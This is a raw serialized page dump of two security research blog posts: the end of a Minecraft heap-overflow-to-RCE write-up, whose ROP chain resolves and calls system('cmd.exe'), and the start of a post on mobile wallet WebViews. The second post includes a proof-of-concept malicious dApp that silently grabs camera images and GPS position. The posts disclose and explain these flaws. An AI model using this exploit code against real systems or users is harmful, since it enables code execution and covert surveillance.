`GetModuleHandle`\n",{"type":22,"tag":264,"props":157516,"children":157517},{"class":1534,"line":1668},[157518,157523,157527,157532],{"type":22,"tag":264,"props":157519,"children":157520},{"style":1539},[157521],{"type":27,"value":157522},"rop.literal(u64(",{"type":22,"tag":264,"props":157524,"children":157525},{"style":4293},[157526],{"type":27,"value":2181},{"type":22,"tag":264,"props":157528,"children":157529},{"style":1597},[157530],{"type":27,"value":157531},"\"ucrtbase\"",{"type":22,"tag":264,"props":157533,"children":157534},{"style":1539},[157535],{"type":27,"value":21018},{"type":22,"tag":264,"props":157537,"children":157538},{"class":1534,"line":1677},[157539,157543,157547,157552,157557,157561],{"type":22,"tag":264,"props":157540,"children":157541},{"style":1539},[157542],{"type":27,"value":157522},{"type":22,"tag":264,"props":157544,"children":157545},{"style":4293},[157546],{"type":27,"value":2181},{"type":22,"tag":264,"props":157548,"children":157549},{"style":1597},[157550],{"type":27,"value":157551},"\".dll",{"type":22,"tag":264,"props":157553,"children":157554},{"style":49693},[157555],{"type":27,"value":157556},"\\x00\\x00\\x00\\x00",{"type":22,"tag":264,"props":157558,"children":157559},{"style":1597},[157560],{"type":27,"value":21366},{"type":22,"tag":264,"props":157562,"children":157563},{"style":1539},[157564],{"type":27,"value":21018},{"type":22,"tag":264,"props":157566,"children":157567},{"class":1534,"line":1686},[157568,157572,157576,157581,157586,157590],{"type":22,"tag":264,"props":157569,"children":157570},{"style":1539},[157571],{"type":27,"value":157522},{"type":22,"tag":264,"props":157573,"children":157574},{"style":4293},[157575],{"type":27,"value":2181},{"type":22,"tag":264,"props":157577,"children":157578},{"style":1597},[157579],{"type":27,"value":157580},"\"system",{"type":22,"tag":264,"props":157582,"children":157583},{"style":49693},[157584],{"type":27,"value":157585},"\\x00\\x00",{"type":22,"tag":264,"props":157587,"children":157588},{"style":1597},[157589],{"type":27,"value":21366},{"type":22,"tag":264,"props":157591,"children":157592},{"style":1539},[157593],{"type":27,"value":21018},{"type":22,"tag":264,"props":157595,"children":157596},{"class":1534,"line":4948},[157597],{"type":22,"tag":264,"props":157598,"children":157599},{"emptyLinePlaceholder":17},[157600],{"type":27,"value":4986},{"type":22,"tag":264,"props":157602,"children":157603},{"class":1534,"line":4957},[157604],{"type":22,"tag":264,"props":157605,"children":157606},{"style":4284},[157607],{"type":27,"value":157608},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":22,"tag":264,"props":157610,"children":157611},{"class":1534,"line":4980},[157612,157617],{"type":22,"tag":264,"props":157613,"children":157614},{"style":1539},[157615],{"type":27,"value":157616},"rop.gadget(xchg_rcx_rax) ",{"type":22,"tag":264,"props":157618,"children":157619},{"style":4284},[157620],{"type":27,"value":157621},"# move the return value of `GetModuleHandle` to rcx\n",{"type":22,"tag":264,"props":157623,"children":157624},{"class":1534,"line":4989},[157625],{"type":22,"tag":264,"props":157626,"children":157627},{"style":1539},[157628],{"type":27,"value":157629},"rop.gadget(pop_rdx)\n",{"type":22,"tag":264,"props":157631,"children":157632},{"class":1534,"line":4998},[157633,157637,157641,157645,157649,157653,157657,157661],{"type":22,"tag":264,"props":157634,"children":157635},{"style":1539},[157636],{"type":27,"value":157469},{"type":22,"tag":264,"props":157638,"children":157639},{"style":4293},[157640],{"type":27,"value":157474},{"type":22,"tag":264,"props":157642,"children":157643},{"style":4344},[157644],{"type":27,"value":157479},{"type":22,"tag":264,"props":157646,"children":157647},{"style":4309},[157648],{"type":27,"value":10200},{"type":22,"tag":264,"props":157650,"children":157651},{"style":4293},[157652],{"type":27,"value":157414},{"type":22,"tag":264,"props":157654,"children":157655},{"style":4344},[157656],{"type":27,"value":346},{"type":22,"tag":264,"props":157658,"children":157659},{"style":1539},[157660],{"type":27,"value":4390},{"type":22,"tag":264,"props":157662,"children":157663},{"style":4284},[157664],{"type":27,"value":157665},"# offset of \"system\" string\n",{"type":22,"tag":264,"props":157667,"children":157668},{"class":1534,"line":5067},[157669],{"type":22,"tag":264,"props":157670,"children":157671},{"style":1539},[157672],{"type":27,"value":157673},"rop.gadget(get_proc_addr)\n",{"type":22,"tag":264,"props":157675,"children":157676},{"class":1534,"line":5075},[157677],{"type":22,"tag":264,"props":157678,"children":157679},{"emptyLinePlaceholder":17},[157680],{"type":27,"value":4986},{"type":22,"tag":264,"props":157682,"children":157683},{"class":1534,"line":5105},[157684],{"type":22,"tag":264,"props":157685,"children":157686},{"style":4284},[157687],{"type":27,"value":157688},"# call `system(\"cmd.exe\")`\n",{"type":22,"tag":264,"props":157690,"children":157691},{"class":1534,"line":5113},[157692],{"type":22,"tag":264,"props":157693,"children":157694},{"style":1539},[157695],{"type":27,"value":157461},{"type":22,"tag":264,"props":157697,"children":157698},{"class":1534,"line":5145},[157699,157703,157707,157712,157716],{"type":22,"tag":264,"props":157700,"children":157701},{"style":1539},[157702],{"type":27,"value":157469},{"type":22,"tag":264,"props":157704,"children":157705},{"style":4293},[157706],{"type":27,"value":157474},{"type":22,"tag":264,"props":157708,"children":157709},{"style":4344},[157710],{"type":27,"value":157711},"7468DB8",{"type":22,"tag":264,"props":157713,"children":157714},{"style":1539},[157715],{"type":27,"value":4390},{"type":22,"tag":264,"props":157717,"children":157718},{"style":4284},[157719],{"type":27,"value":157720},"# offset of \"cmd.exe\" string\n",{"type":22,"tag":264,"props":157722,"children":157723},{"class":1534,"line":5153},[157724,157728],{"type":22,"tag":264,"props":157725,"children":157726},{"style":1539},[157727],{"type":27,"value":157496},{"type":22,"tag":264,"props":157729,"children":157730},{"style":4284},[157731],{"type":27,"value":157501},{"type":22,"tag":264,"props":157733,"children":157734},{"class":1534,"line":5213},[157735,157739],{"type":22,"tag":264,"props":157736,"children":157737},{"style":1539},[157738],{"type":27,"value":157509},{"type":22,"tag":264,"props":157740,"children":157741},{"style":4284},[157742],{"type":27,"value":157743},"# calls `system`\n",{"type":22,"tag":264,"props":157745,"children":157746},{"class":1534,"line":10343},[157747,157751,157755,157760,157765,157769],{"type":22,"tag":264,"props":157748,"children":157749},{"style":1539},[157750],{"type":27,"value":157522},{"type":22,"tag":264,"props":157752,"children":157753},{"style":4293},[157754],{"type":27,"value":2181},{"type":22,"tag":264,"props":157756,"children":157757},{"style":1597},[157758],{"type":27,"value":157759},"\"cmd.exe",{"type":22,"tag":264,"props":157761,"children":157762},{"style":49693},[157763],{"type":27,"value":157764},"\\x00",{"type":22,"tag":264,"props":157766,"children":157767},{"style":1597},[157768],{"type":27,"value":21366},{"type":22,"tag":264,"props":157770,"children":157771},{"style":1539},[157772],{"type":27,"value":21018},{"type":22,"tag":181,"props":157774,"children":157776},{"id":157775},"demo",[157777],{"type":27,"value":157778},"Demo",{"type":22,"tag":23,"props":157780,"children":157781},{},[157782],{"type":27,"value":157783},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":22,"tag":133158,"props":157785,"children":157788},{"className":157786,"controls":17},[143123,157787],"blog-video-wide",[157789,157790,157794],{"type":27,"value":143126},{"type":22,"tag":142362,"props":157791,"children":157793},{"src":157792,"type":133156},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":27,"value":143132},{"type":22,"tag":169,"props":157796,"children":157797},{"id":30246},[157798],{"type":27,"value":20252},{"type":22,"tag":23,"props":157800,"children":157801},{},[157802],{"type":27,"value":157803},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":22,"tag":23,"props":157805,"children":157806},{},[157807],{"type":27,"value":157808},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":22,"tag":23,"props":157810,"children":157811},{},[157812],{"type":27,"value":157813},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":22,"tag":4139,"props":157815,"children":157816},{},[157817],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":157819},[157820,157824,157829,157840],{"id":148481,"depth":1545,"text":148484,"children":157821},[157822,157823],{"id":148516,"depth":1560,"text":148519},{"id":148532,"depth":1560,"text":148535},{"id":148553,"depth":1545,"text":148556,"children":157825},[157826,157827,157828],{"id":148569,"depth":1560,"text":148572},{"id":148657,"depth":1560,"text":148660},{"id":150957,"depth":1560,"text":150960},{"id":6709,"depth":1545,"text":6712,"children":157830},[157831,157832,157833,157834,157835,157836,157837,157838,157839],{"id":151064,"depth":1560,"text":151067},{"id":151089,"depth":1560,"text":151092},{"id":151226,"depth":1560,"text":151229},{"id":153390,"depth":1560,"text":153393},{"id":153752,"depth":1560,"text":153755},{"id":154572,"depth":1560,"text":154575},{"id":156685,"depth":1560,"text":156688},{"id":157303,"depth":1560,"text":157306},{"id":157775,"depth":1560,"text":157778},{"id":30246,"depth":1545,"text":20252},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":157845,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":157846,"description":157847,"date":157848,"author":157849,"image":157851,"isFeatured":17,"onBlogPage":17,"tags":157853,"body":157855,"_type":4157,"_id":160178,"_source":4159,"_file":160179,"_stem":160180,"_extension":4162},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[32516,32515,157850],"nikolaos",{"src":157852,"width":98589,"height":14922},"/posts/insecure-webview-integrations/title.png",[33456,133264,157854],"webview",{"type":19,"children":157856,"toc":160165},[157857,157862,157867,157873,157878,157883,157888,157894,157899,157905,157927,157940,157960,157974,157980,157994,158002,158007,158013,158018,158027,158048,158192,158197,158203,158208,158213,158227,158231,158236,158254,159682,159686,159691,159703,159712,159717,159723,159745,159753,159758,159764,159769,159787,159792,159798,159811,160093,160121,160134,160139,160152,160156,160161],{"type":22,"tag":23,"props":157858,"children":157859},{},[157860],{"type":27,"value":157861},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":22,"tag":23,"props":157863,"children":157864},{},[157865],{"type":27,"value":157866},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":22,"tag":36687,"props":157868,"children":157870},{"id":157869},"exploiting-mobile-webviews",[157871],{"type":27,"value":157872},"Exploiting Mobile WebViews",{"type":22,"tag":23,"props":157874,"children":157875},{},[157876],{"type":27,"value":157877},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":22,"tag":23,"props":157879,"children":157880},{},[157881],{"type":27,"value":157882},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":22,"tag":23,"props":157884,"children":157885},{},[157886],{"type":27,"value":157887},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":22,"tag":169,"props":157889,"children":157891},{"id":157890},"handling-webview-permissions",[157892],{"type":27,"value":157893},"Handling WebView permissions",{"type":22,"tag":23,"props":157895,"children":157896},{},[157897],{"type":27,"value":157898},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":22,"tag":181,"props":157900,"children":157902},{"id":157901},"android",[157903],{"type":27,"value":157904},"Android",{"type":22,"tag":23,"props":157906,"children":157907},{},[157908,157910,157917,157919,157925],{"type":27,"value":157909},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":22,"tag":69,"props":157911,"children":157914},{"href":157912,"rel":157913},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[73],[157915],{"type":27,"value":157916},"onPermissionRequest",{"type":27,"value":157918},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":22,"tag":257,"props":157920,"children":157922},{"className":157921},[],[157923],{"type":27,"value":157924},"PermissionRequest",{"type":27,"value":157926}," object where the WebView developers must decide whether to grant or deny it.",{"type":22,"tag":4226,"props":157928,"children":157929},{},[157930],{"type":22,"tag":23,"props":157931,"children":157932},{},[157933,157935,157938],{"type":27,"value":157934},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":22,"tag":264,"props":157936,"children":157937},{},[],{"type":27,"value":157939},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":22,"tag":23,"props":157941,"children":157942},{},[157943,157945,157951,157953,157959],{"type":27,"value":157944},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":22,"tag":257,"props":157946,"children":157948},{"className":157947},[],[157949],{"type":27,"value":157950},"getOrigin()",{"type":27,"value":157952}," and the requested permissions with ",{"type":22,"tag":257,"props":157954,"children":157956},{"className":157955},[],[157957],{"type":27,"value":157958},"getResources()",{"type":27,"value":210},{"type":22,"tag":23,"props":157961,"children":157962},{},[157963,157965,157972],{"type":27,"value":157964},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":22,"tag":69,"props":157966,"children":157969},{"href":157967,"rel":157968},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[73],[157970],{"type":27,"value":157971},"webview_shell",{"type":27,"value":157973},". In this instance, no origin checks are performed.",{"type":22,"tag":181,"props":157975,"children":157977},{"id":157976},"ios",[157978],{"type":27,"value":157979},"iOS",{"type":22,"tag":23,"props":157981,"children":157982},{},[157983,157985,157992],{"type":27,"value":157984},"On the contrary, iOS ",{"type":22,"tag":69,"props":157986,"children":157989},{"href":157987,"rel":157988},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[73],[157990],{"type":27,"value":157991},"documentation",{"type":27,"value":157993}," states that:",{"type":22,"tag":4226,"props":157995,"children":157996},{},[157997],{"type":22,"tag":23,"props":157998,"children":157999},{},[158000],{"type":27,"value":158001},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":22,"tag":23,"props":158003,"children":158004},{},[158005],{"type":27,"value":158006},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":22,"tag":169,"props":158008,"children":158010},{"id":158009},"the-shortcomings-of-webview-implementations",[158011],{"type":27,"value":158012},"The shortcomings of WebView implementations",{"type":22,"tag":23,"props":158014,"children":158015},{},[158016],{"type":27,"value":158017},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":22,"tag":32661,"props":158019,"children":158020},{"style":32663},[158021],{"type":22,"tag":215,"props":158022,"children":158026},{"src":158023,"alt":158024,"style":158025},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":22,"tag":23,"props":158028,"children":158029},{},[158030,158032,158038,158040,158046],{"type":27,"value":158031},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":22,"tag":257,"props":158033,"children":158035},{"className":158034},[],[158036],{"type":27,"value":158037},"react-native-webview",{"type":27,"value":158039},". If we take a look at how they handle a request that reaches the ",{"type":22,"tag":69,"props":158041,"children":158044},{"href":158042,"rel":158043},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[73],[158045],{"type":27,"value":157916},{"type":27,"value":158047}," method, we see a similar pattern.",{"type":22,"tag":618,"props":158049,"children":158053},{"className":158050,"code":158051,"language":158052,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[158054],{"type":22,"tag":257,"props":158055,"children":158056},{"__ignoreMap":7},[158057,158065,158094,158154,158174,158185],{"type":22,"tag":264,"props":158058,"children":158059},{"class":1534,"line":1535},[158060],{"type":22,"tag":264,"props":158061,"children":158062},{"style":4284},[158063],{"type":27,"value":158064},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":22,"tag":264,"props":158066,"children":158067},{"class":1534,"line":1545},[158068,158072,158076,158081,158085,158090],{"type":22,"tag":264,"props":158069,"children":158070},{"style":4328},[158071],{"type":27,"value":16879},{"type":22,"tag":264,"props":158073,"children":158074},{"style":1539},[158075],{"type":27,"value":4370},{"type":22,"tag":264,"props":158077,"children":158078},{"style":1549},[158079],{"type":27,"value":158080},"requestedAndroidPermissions",{"type":22,"tag":264,"props":158082,"children":158083},{"style":1539},[158084],{"type":27,"value":210},{"type":22,"tag":264,"props":158086,"children":158087},{"style":4401},[158088],{"type":27,"value":158089},"isEmpty",{"type":22,"tag":264,"props":158091,"children":158092},{"style":1539},[158093],{"type":27,"value":93344},{"type":22,"tag":264,"props":158095,"children":158096},{"class":1534,"line":1560},[158097,158102,158106,158111,158115,158120,158124,158129,158133,158137,158142,158146,158150],{"type":22,"tag":264,"props":158098,"children":158099},{"style":1549},[158100],{"type":27,"value":158101},"    request",{"type":22,"tag":264,"props":158103,"children":158104},{"style":1539},[158105],{"type":27,"value":210},{"type":22,"tag":264,"props":158107,"children":158108},{"style":4401},[158109],{"type":27,"value":158110},"grant",{"type":22,"tag":264,"props":158112,"children":158113},{"style":1539},[158114],{"type":27,"value":2660},{"type":22,"tag":264,"props":158116,"children":158117},{"style":1549},[158118],{"type":27,"value":158119},"grantedPermissions",{"type":22,"tag":264,"props":158121,"children":158122},{"style":1539},[158123],{"type":27,"value":210},{"type":22,"tag":264,"props":158125,"children":158126},{"style":4401},[158127],{"type":27,"value":158128},"toArray",{"type":22,"tag":264,"props":158130,"children":158131},{"style":1539},[158132],{"type":27,"value":2660},{"type":22,"tag":264,"props":158134,"children":158135},{"style":4328},[158136],{"type":27,"value":16422},{"type":22,"tag":264,"props":158138,"children":158139},{"style":4722},[158140],{"type":27,"value":158141}," String",{"type":22,"tag":264,"props":158143,"children":158144},{"style":1539},[158145],{"type":27,"value":5045},{"type":22,"tag":264,"props":158147,"children":158148},{"style":4344},[158149],{"type":27,"value":5334},{"type":22,"tag":264,"props":158151,"children":158152},{"style":1539},[158153],{"type":27,"value":104833},{"type":22,"tag":264,"props":158155,"children":158156},{"class":1534,"line":1569},[158157,158162,158166,158170],{"type":22,"tag":264,"props":158158,"children":158159},{"style":1539},[158160],{"type":27,"value":158161},"    grantedPermissions ",{"type":22,"tag":264,"props":158163,"children":158164},{"style":4309},[158165],{"type":27,"value":429},{"type":22,"tag":264,"props":158167,"children":158168},{"style":4293},[158169],{"type":27,"value":71593},{"type":22,"tag":264,"props":158171,"children":158172},{"style":1539},[158173],{"type":27,"value":4322},{"type":22,"tag":264,"props":158175,"children":158176},{"class":1534,"line":1583},[158177,158181],{"type":22,"tag":264,"props":158178,"children":158179},{"style":4328},[158180],{"type":27,"value":18291},{"type":22,"tag":264,"props":158182,"children":158183},{"style":1539},[158184],{"type":27,"value":4322},{"type":22,"tag":264,"props":158186,"children":158187},{"class":1534,"line":1603},[158188],{"type":22,"tag":264,"props":158189,"children":158190},{"style":1539},[158191],{"type":27,"value":1692},{"type":22,"tag":23,"props":158193,"children":158194},{},[158195],{"type":27,"value":158196},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":22,"tag":181,"props":158198,"children":158200},{"id":158199},"real-world-exploitation",[158201],{"type":27,"value":158202},"Real world exploitation",{"type":22,"tag":23,"props":158204,"children":158205},{},[158206],{"type":27,"value":158207},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":22,"tag":23,"props":158209,"children":158210},{},[158211],{"type":27,"value":158212},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":22,"tag":23,"props":158214,"children":158215},{},[158216,158218,158225],{"type":27,"value":158217},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":22,"tag":69,"props":158219,"children":158222},{"href":158220,"rel":158221},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[73],[158223],{"type":27,"value":158224},"Justson",{"type":27,"value":158226},", used by a popular wallet in the Stellar ecosystem.",{"type":22,"tag":20197,"props":158228,"children":158229},{"id":40819},[158230],{"type":27,"value":36143},{"type":22,"tag":23,"props":158232,"children":158233},{},[158234],{"type":27,"value":158235},"In order to exploit this issue, we assume the following preconditions:",{"type":22,"tag":1867,"props":158237,"children":158238},{},[158239,158244,158249],{"type":22,"tag":1871,"props":158240,"children":158241},{},[158242],{"type":27,"value":158243},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":22,"tag":1871,"props":158245,"children":158246},{},[158247],{"type":27,"value":158248},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":22,"tag":1871,"props":158250,"children":158251},{},[158252],{"type":27,"value":158253},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":22,"tag":618,"props":158255,"children":158257},{"className":51342,"code":158256,"language":33698,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[158258],{"type":22,"tag":257,"props":158259,"children":158260},{"__ignoreMap":7},[158261,158281,158296,158312,158342,158365,158380,158395,158427,158473,158509,158537,158552,158598,158644,158652,158720,158748,158763,158771,158778,158798,158858,158899,158928,158969,158976,159005,159043,159080,159087,159094,159127,159148,159155,159217,159273,159309,159355,159363,159370,159413,159446,159571,159604,159611,159618,159625,159637,159652,159667],{"type":22,"tag":264,"props":158262,"children":158263},{"class":1534,"line":1535},[158264,158268,158272,158277],{"type":22,"tag":264,"props":158265,"children":158266},{"style":33691},[158267],{"type":27,"value":35540},{"type":22,"tag":264,"props":158269,"children":158270},{"style":4293},[158271],{"type":27,"value":35545},{"type":22,"tag":264,"props":158273,"children":158274},{"style":1549},[158275],{"type":27,"value":158276}," html",{"type":22,"tag":264,"props":158278,"children":158279},{"style":33691},[158280],{"type":27,"value":7284},{"type":22,"tag":264,"props":158282,"children":158283},{"class":1534,"line":1545},[158284,158288,158292],{"type":22,"tag":264,"props":158285,"children":158286},{"style":33691},[158287],{"type":27,"value":7097},{"type":22,"tag":264,"props":158289,"children":158290},{"style":4293},[158291],{"type":27,"value":33698},{"type":22,"tag":264,"props":158293,"children":158294},{"style":33691},[158295],{"type":27,"value":7284},{"type":22,"tag":264,"props":158297,"children":158298},{"class":1534,"line":1560},[158299,158303,158308],{"type":22,"tag":264,"props":158300,"children":158301},{"style":33691},[158302],{"type":27,"value":7097},{"type":22,"tag":264,"props":158304,"children":158305},{"style":4293},[158306],{"type":27,"value":158307},"head",{"type":22,"tag":264,"props":158309,"children":158310},{"style":33691},[158311],{"type":27,"value":7284},{"type":22,"tag":264,"props":158313,"children":158314},{"class":1534,"line":1569},[158315,158319,158324,158329,158333,158338],{"type":22,"tag":264,"props":158316,"children":158317},{"style":33691},[158318],{"type":27,"value":33761},{"type":22,"tag":264,"props":158320,"children":158321},{"style":4293},[158322],{"type":27,"value":158323},"meta",{"type":22,"tag":264,"props":158325,"children":158326},{"style":1549},[158327],{"type":27,"value":158328}," charset",{"type":22,"tag":264,"props":158330,"children":158331},{"style":1539},[158332],{"type":27,"value":429},{"type":22,"tag":264,"props":158334,"children":158335},{"style":1597},[158336],{"type":27,"value":158337},"\"utf-8\"",{"type":22,"tag":264,"props":158339,"children":158340},{"style":33691},[158341],{"type":27,"value":7284},{"type":22,"tag":264,"props":158343,"children":158344},{"class":1534,"line":1583},[158345,158349,158353,158357,158361],{"type":22,"tag":264,"props":158346,"children":158347},{"style":33691},[158348],{"type":27,"value":33761},{"type":22,"tag":264,"props":158350,"children":158351},{"style":4293},[158352],{"type":27,"value":35617},{"type":22,"tag":264,"props":158354,"children":158355},{"style":33691},[158356],{"type":27,"value":51386},{"type":22,"tag":264,"props":158358,"children":158359},{"style":4293},[158360],{"type":27,"value":35617},{"type":22,"tag":264,"props":158362,"children":158363},{"style":33691},[158364],{"type":27,"value":7284},{"type":22,"tag":264,"props":158366,"children":158367},{"class":1534,"line":1603},[158368,158372,158376],{"type":22,"tag":264,"props":158369,"children":158370},{"style":33691},[158371],{"type":27,"value":33745},{"type":22,"tag":264,"props":158373,"children":158374},{"style":4293},[158375],{"type":27,"value":158307},{"type":22,"tag":264,"props":158377,"children":158378},{"style":33691},[158379],{"type":27,"value":7284},{"type":22,"tag":264,"props":158381,"children":158382},{"class":1534,"line":1612},[158383,158387,158391],{"type":22,"tag":264,"props":158384,"children":158385},{"style":33691},[158386],{"type":27,"value":7097},{"type":22,"tag":264,"props":158388,"children":158389},{"style":4293},[158390],{"type":27,"value":33715},{"type":22,"tag":264,"props":158392,"children":158393},{"style":33691},[158394],{"type":27,"value":7284},{"type":22,"tag":264,"props":158396,"children":158397},{"class":1534,"line":1621},[158398,158402,158406,158410,158415,158419,158423],{"type":22,"tag":264,"props":158399,"children":158400},{"style":33691},[158401],{"type":27,"value":33761},{"type":22,"tag":264,"props":158403,"children":158404},{"style":4293},[158405],{"type":27,"value":169},{"type":22,"tag":264,"props":158407,"children":158408},{"style":33691},[158409],{"type":27,"value":11760},{"type":22,"tag":264,"props":158411,"children":158412},{"style":1539},[158413],{"type":27,"value":158414},"Smile dApp :)",{"type":22,"tag":264,"props":158416,"children":158417},{"style":33691},[158418],{"type":27,"value":33745},{"type":22,"tag":264,"props":158420,"children":158421},{"style":4293},[158422],{"type":27,"value":169},{"type":22,"tag":264,"props":158424,"children":158425},{"style":33691},[158426],{"type":27,"value":7284},{"type":22,"tag":264,"props":158428,"children":158429},{"class":1534,"line":1629},[158430,158434,158439,158443,158447,158452,158456,158461,158465,158469],{"type":22,"tag":264,"props":158431,"children":158432},{"style":33691},[158433],{"type":27,"value":33761},{"type":22,"tag":264,"props":158435,"children":158436},{"style":4293},[158437],{"type":27,"value":158438},"button",{"type":22,"tag":264,"props":158440,"children":158441},{"style":1549},[158442],{"type":27,"value":33771},{"type":22,"tag":264,"props":158444,"children":158445},{"style":1539},[158446],{"type":27,"value":429},{"type":22,"tag":264,"props":158448,"children":158449},{"style":1597},[158450],{"type":27,"value":158451},"\"connect\"",{"type":22,"tag":264,"props":158453,"children":158454},{"style":33691},[158455],{"type":27,"value":11760},{"type":22,"tag":264,"props":158457,"children":158458},{"style":1539},[158459],{"type":27,"value":158460},"Connect your 